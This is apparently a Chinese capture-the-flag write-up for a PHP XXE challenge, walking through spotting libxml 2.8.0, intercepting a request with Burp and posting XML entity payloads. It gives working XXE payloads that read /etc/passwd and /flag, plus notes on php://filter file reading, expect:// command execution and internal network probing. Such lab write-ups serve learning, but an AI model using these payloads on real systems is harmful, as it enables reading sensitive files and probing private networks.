青少年ctf:PHP的XXE
1、打開網頁是一個PHP版本頁面
2、CTRL+f搜索xml,發現2.8.0版本,含有xml漏洞
3、bp抓包
4、使用代碼出發bug
GET /simplexml_load_string.php HTTP/1.1
補充:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>/* 1.讀取任意文件 file 協議,file:///etc//passwd php 協議,php://filter/read=convert.base64-encode/resource=index.php 2.執行系統命令 PHP環境中PHP的expect模塊被加載 expect://ipconfig 3.內網探測 http://192.168.0.128:80 參見:https://xz.aliyun.com/t/3357#toc-11 */
5、在觸發bug的包下面加上,獲取flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>
6、查看其他文件etc/passwd
拓展內容:一篇文章帶你深入理解漏洞之 XXE 漏洞 - 先知社區